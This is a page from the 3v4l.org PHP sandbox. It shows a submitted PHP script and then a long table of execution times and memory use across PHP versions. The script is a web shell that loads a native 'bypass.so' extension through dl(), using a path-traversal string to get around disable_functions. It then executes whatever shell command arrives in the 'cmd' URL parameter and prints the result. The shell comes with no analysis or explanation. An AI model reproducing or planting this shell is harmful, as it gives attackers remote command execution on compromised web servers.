3v4l.org

run code in 300+ PHP versions simultaneously
<?php function dl_local( $extensionFile ) { if(!(bool)ini_get('enable_dl') ||(bool)ini_get('safe_mode')){ die('Loading extensions is not permitted.'); } if(!file_exists($extensionFile)){ die('File '.$extensionFile.' does not exist.'); } if(!is_executable($extensionFile)){ die('File '.$extensionFile.' is not executable. ( chmod +x '.$extensionFile.' )'); } $currentDir = getcwd().'/'; $currentExtPath = realpath(ini_get('extension_dir')); $subDirs = preg_match_all("/\//",$currentExtPath ,$matches); unset($matches); if(!(bool)$subDirs){ die('Could not determine a valid extension path [extension_dir]'); } $extPathLastChar=strlen($currentExtPath )-1; if($extPathLastChar==strrpos($currentExtPath,'/')){ $subDirs--;}$backDirStr = ''; for($i = 1; $i <= $subDirs; $i++){ $backDirStr .='..'; if($i != $subDirs){ $backDirStr .='/'; } } $finalExtPath = $backDirStr.$currentDir.$extensionFile; if(!dl($finalExtPath)){ die(); } $loadedExtensions = get_loaded_extensions(); $thisExtName = $loadedExtensions[sizeof($loadedExtensions)-1]; return $thisExtName; } @ini_set ('display_errors','1'); error_reporting(E_ALL); dl_local('bypass.so'); if(@$_GET['cmd']){ $output = bypass_exec($_GET['cmd']); echo '<pre>'.$output.'</pre>'; }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0090.00916.63
8.3.50.0120.00922.01
8.3.40.0150.00018.79
8.3.30.0140.00018.87
8.3.20.0040.00420.38
8.3.10.0050.00323.50
8.3.00.0080.00019.56
8.2.180.0070.01118.16
8.2.170.0180.00322.96
8.2.160.0120.00320.44
8.2.150.0000.00824.18
8.2.140.0070.00024.66
8.2.130.0080.00026.16
8.2.120.0000.00917.38
8.2.110.0070.01420.53
8.2.100.0090.00317.80
8.2.90.0040.00419.22
8.2.80.0080.00017.97
8.2.70.0060.00317.63
8.2.60.0080.00017.79
8.2.50.0040.00418.07
8.2.40.0030.00721.11
8.2.30.0040.00420.62
8.2.20.0070.00017.64
8.2.10.0090.00017.95
8.2.00.0000.00918.12
8.1.280.0100.00725.92
8.1.270.0080.00023.71
8.1.260.0000.00826.35
8.1.250.0000.00728.09
8.1.240.0060.00322.48
8.1.230.0090.00317.64
8.1.220.0040.00417.74
8.1.210.0000.00918.77
8.1.200.0000.01017.23
8.1.190.0000.00817.13
8.1.180.0030.00618.10
8.1.170.0000.00820.38
8.1.160.0040.00421.94
8.1.150.0000.00718.71
8.1.140.0030.00521.21
8.1.130.0000.00717.65
8.1.120.0030.00517.30
8.1.110.0040.00417.42
8.1.100.0030.00417.29
8.1.90.0000.00717.42
8.1.80.0040.00417.29
8.1.70.0030.00317.33
8.1.60.0000.00717.52
8.1.50.0000.00717.42
8.1.40.0030.00617.46
8.1.30.0040.00417.52
8.1.20.0030.00517.63
8.1.10.0030.00517.48
8.1.00.0000.00817.40
8.0.300.0000.00918.84
8.0.290.0030.00616.75
8.0.280.0040.00418.35
8.0.270.0000.00717.14
8.0.260.0030.00317.08
8.0.250.0040.00416.95
8.0.240.0030.00316.90
8.0.230.0040.00416.85
8.0.220.0030.00316.91
8.0.210.0070.00016.93
8.0.200.0000.00716.98
8.0.190.0000.00816.99
8.0.180.0000.00716.84
8.0.170.0050.00316.90
8.0.160.0000.00816.90
8.0.150.0000.00716.84
8.0.140.0000.00716.89
8.0.130.0060.00013.37
8.0.120.0030.00616.91
8.0.110.0000.00716.92
8.0.100.0020.00516.80
8.0.90.0000.00716.94
8.0.80.0030.01216.91
8.0.70.0050.00216.74
8.0.60.0080.00016.73
8.0.50.0000.00716.96
8.0.30.0110.00617.16
8.0.20.0130.01117.40
8.0.10.0000.01017.07
8.0.00.0110.00616.88
7.4.330.0000.00515.08
7.4.320.0000.00616.55
7.4.300.0060.00016.46
7.4.290.0060.00016.47
7.4.280.0080.00016.50
7.4.270.0000.00816.35
7.4.260.0000.00716.56
7.4.250.0000.00716.40
7.4.240.0030.00416.44
7.4.230.0000.00716.45
7.4.220.0060.01216.57
7.4.210.0030.01116.55
7.4.200.0030.00316.58
7.4.160.0140.00616.46
7.4.150.0150.00917.40
7.4.140.0110.00617.86
7.4.130.0060.01216.41
7.4.120.0110.00716.53
7.4.110.0080.00816.36
7.4.100.0090.01216.77
7.4.90.0100.00716.58
7.4.80.0130.00419.39
7.4.70.0040.01516.45
7.4.60.0030.01316.45
7.4.50.0040.00416.57
7.4.40.0090.01216.45
7.4.30.0110.00716.55
7.4.00.0040.01414.98
7.3.330.0040.00413.39
7.3.320.0000.00613.36
7.3.310.0030.00516.36
7.3.300.0040.00416.31
7.3.290.0050.01016.27
7.3.280.0080.00916.32
7.3.270.0030.01417.40
7.3.260.0090.00916.46
7.3.250.0060.01316.43
7.3.240.0080.01516.31
7.3.230.0100.00716.47
7.3.210.0150.00416.55
7.3.200.0130.00316.50
7.3.190.0100.00716.54
7.3.180.0090.00916.29
7.3.170.0100.01016.51
7.3.160.0100.00716.53
7.3.120.0090.00614.55
7.3.110.0060.00914.62
7.3.100.0060.01314.87
7.3.90.0050.00515.00
7.3.80.0090.00615.10
7.3.70.0030.01314.64
7.3.60.0060.00614.86
7.3.50.0040.01214.80
7.3.40.0060.01214.77
7.3.30.0040.00814.54
7.3.20.0030.00616.70
7.3.10.0120.00316.71
7.3.00.0090.00316.55
7.2.330.0130.01016.72
7.2.320.0030.01416.65
7.2.310.0090.00916.72
7.2.300.0070.01016.58
7.2.290.0060.01616.36
7.2.250.0070.01115.22
7.2.240.0030.01615.16
7.2.230.0120.00815.18
7.2.220.0030.01014.93
7.2.210.0030.01314.73
7.2.200.0090.00014.58
7.2.190.0120.00314.59
7.2.180.0040.01515.00
7.2.170.0060.00914.96
7.2.00.0030.00919.58
7.1.330.0060.01015.66
7.1.320.0030.01315.63
7.1.310.0000.00915.77
7.1.300.0080.00415.38
7.1.290.0080.00815.41
7.1.280.0090.00315.82
7.1.270.0040.01115.64
7.1.260.0130.00315.80
7.1.100.0060.00317.97
7.1.70.0030.00517.09
7.1.60.0170.00719.11
7.1.50.0090.01516.84
7.1.00.0100.07022.38
7.0.200.0320.00714.48
7.0.60.0130.05319.96
7.0.50.0200.02717.97
7.0.40.0100.04020.30
7.0.30.0300.04320.24
7.0.20.0200.08720.24
7.0.10.0570.06320.21
7.0.00.0100.04020.22
5.6.280.0070.03020.88
5.6.210.0100.08320.65
5.6.200.0070.06718.15
5.6.190.0070.08020.63
5.6.180.3430.03320.30
5.6.170.0170.04320.55
5.6.160.0030.08720.71
5.6.150.0030.06318.16
5.6.140.0070.08018.12
5.6.130.0170.07318.23
5.6.120.0070.08721.13
5.6.110.0100.06721.02
5.6.100.0100.06320.90
5.6.90.0130.07021.12
5.6.80.0030.06720.44
5.6.70.0030.05020.52
5.5.350.0230.07020.48
5.5.340.0070.04017.99
5.5.330.0000.04320.44
5.5.320.0200.04020.35
5.5.310.0230.08320.26
5.5.300.0030.04017.98
5.5.290.0030.04017.97
5.5.280.0100.08020.90
5.5.270.0100.07720.88
5.5.260.0070.07320.80
5.5.250.0100.06020.70
5.5.240.0200.06320.28
5.4.450.0630.05719.58
5.4.440.0670.08019.41
5.4.430.0700.07019.54
5.4.420.0570.06319.57
5.4.410.0630.06319.14
5.4.400.0570.05318.95
5.4.390.0600.05719.27
5.4.380.0570.05719.25
5.4.370.1100.06319.12
5.4.360.0800.05719.16
5.4.350.0900.04319.25
5.4.340.0900.05319.37
5.4.320.0730.05019.24
5.4.310.0670.06019.37
5.4.300.0830.04719.22
5.4.290.0770.05018.95
5.4.280.0770.06719.27
5.4.270.0730.06019.28
5.4.260.0730.05018.85
5.4.250.0970.06319.36
5.4.240.0730.05719.12
5.4.230.0700.05719.06
5.4.220.0670.06019.04
5.4.210.0770.05019.24
5.4.200.0730.04719.22
5.4.190.0670.06019.10
5.4.180.0770.07019.24
5.4.170.0800.05319.04
5.4.160.0730.05319.25
5.4.150.0830.05718.93
5.4.140.0800.04716.54
5.4.130.0730.05016.40
5.4.120.0730.06316.58
5.4.110.0630.05016.46
5.4.100.0900.07016.26
5.4.90.0900.05716.53
5.4.80.0770.04716.25
5.4.70.0600.06016.51
5.4.60.0800.05316.49
5.4.50.0700.05716.50
5.4.40.0870.04016.59
5.4.30.0900.03716.60
5.4.20.0770.04716.26
5.4.10.0700.04016.23
5.4.00.0630.04316.16

preferences:
55.27 ms | 401 KiB | 5 Q